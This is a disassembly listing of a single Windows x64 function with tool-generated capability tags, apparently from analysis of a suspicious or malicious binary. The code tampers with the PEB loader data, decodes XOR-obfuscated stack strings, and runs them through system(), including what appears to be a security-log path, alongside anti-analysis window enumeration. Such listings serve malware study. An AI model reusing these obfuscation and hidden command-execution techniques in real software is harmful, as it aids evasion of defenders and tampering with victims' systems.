Function at 0x140009330
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Enumerate gui resources
Execute command
Get kernel32 base address
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
xor edi, edi
nop dword [rax]
xor edx, edx
lea rcx, [0x1400089c0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov dword [rsp + 0x40], 0x325b1b57
mov dword [rsp + 0x44], 0x315b1b4a
mov dword [rsp + 0x48], 0x48313b
lea rdx, [rsp + 0x41]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b200
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
xor edx, edx
lea rcx, [0x1400089c0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x14007f270]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000b200
mov rcx, rax
lea rdx, str._n_____________________________.___.______________________________n________________________________________________________n________________________________________________________n_____________________________________________________n________________________________________________________n__________________________________________________________n
call fcn.14000b200
mov rcx, rax
lea rdx, [0x14007f0bc]
call fcn.14000b200
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor edx, edx
lea rcx, [0x1400089c0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x14008e3f0]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x14008e1d0]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [0x14008df50]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x14008df30]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [0x14008e200]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14008e500]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14008e430]
movdqa xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x2424296c
mov dword [rbp - 0x2c], 0x6c65607a
mov word [rbp - 0x28], 0x7d67
mov byte [rbp - 0x26], 0
mov rcx, rdi
nop dword [rax]
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x61], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x62], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x63], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x64], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x65], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x66], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x67], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x68], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x69], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6a], al
movzx eax, byte [rsp + 0x60]
xor byte [rsp + rcx + 0x6b], al
add rcx, 0xb
cmp rcx, 0x79
jb 0x1400094b0
mov byte [rbp - 0x26], 0
lea rcx, [rsp + 0x61]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14008e470]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x72756365
mov dword [rsp + 0x34], 0x5c797469
mov dword [rsp + 0x38], 0x73676f6c
mov byte [rsp + 0x3c], 0
lea rcx, [rsp + 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x14008e480]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x78652e61
mov word [rsp + 0x34], 0x65
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
lea rax, [rsp + 0x21]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400095a5
lea rdx, [rsp + 0x21]
lea rcx, [rbp - 0x20]
call fcn.140008170
nop
lea rcx, [rbp - 0x20]
call fcn.140008e00
mov rbx, rax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140009601
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000963d
call fcn.140079cd4
test rbx, rbx
jne 0x140009644
movdqa xmm0, xmmword [0x14008e240]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x2e2e786f
mov word [rsp + 0x34], 0x2e
lea rcx, [rsp + 0x21]
call fcn.1400087d0
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140009350
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rdx, [rsp + 0x40]
call fcn.1400097f0
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
mov byte [rax + 0x13], 0
lea rcx, [rax + 1]
call fcn.1400087d0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x18]
call fcn.140009820
movzx edx, byte [rax]
xor byte [rax + 1], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
mov byte [rax + 0xa], 0
lea rcx, [rax + 1]
call fcn.1400088c0
call fcn.14005f400
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x20]
call fcn.140009840
mov r8, rax
lea rdx, [rax + 2]
mov r9d, 2
nop word [rax + rax]
movzx ecx, byte [r8]
xor byte [rdx - 1], cl
movzx ecx, byte [r8]
xor byte [rdx], cl
movzx ecx, byte [r8]
xor byte [rdx + 1], cl
movzx eax, byte [r8]
xor byte [rdx + 2], al
movzx eax, byte [r8]
xor byte [rdx + 3], al
movzx eax, byte [r8]
xor byte [rdx + 4], al
movzx eax, byte [r8]
xor byte [rdx + 5], al
movzx eax, byte [r8]
xor byte [rdx + 6], al
movzx eax, byte [r8]
xor byte [rdx + 7], al
movzx eax, byte [r8]
xor byte [rdx + 8], al
movzx eax, byte [r8]
xor byte [rdx + 9], al
movzx eax, byte [r8]
xor byte [rdx + 0xa], al
movzx eax, byte [r8]
xor byte [rdx + 0xb], al
movzx eax, byte [r8]
xor byte [rdx + 0xc], al
movzx eax, byte [r8]
xor byte [rdx + 0xd], al
movzx eax, byte [r8]
xor byte [rdx + 0xe], al
movzx eax, byte [r8]
xor byte [rdx + 0xf], al
movzx eax, byte [r8]
xor byte [rdx + 0x10], al
movzx eax, byte [r8]
xor byte [rdx + 0x11], al
movzx eax, byte [r8]
xor byte [rdx + 0x12], al
movzx eax, byte [r8]
xor byte [rdx + 0x13], al
movzx eax, byte [r8]
xor byte [rdx + 0x14], al
movzx eax, byte [r8]
xor byte [rdx + 0x15], al
movzx eax, byte [r8]
xor byte [rdx + 0x16], al
movzx eax, byte [r8]
xor byte [rdx + 0x17], al
lea rdx, [rdx + 0x19]
sub r9, 1
jne 0x140009710
lea rcx, [r8 + 1]
mov byte [rcx + 0x32], r9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3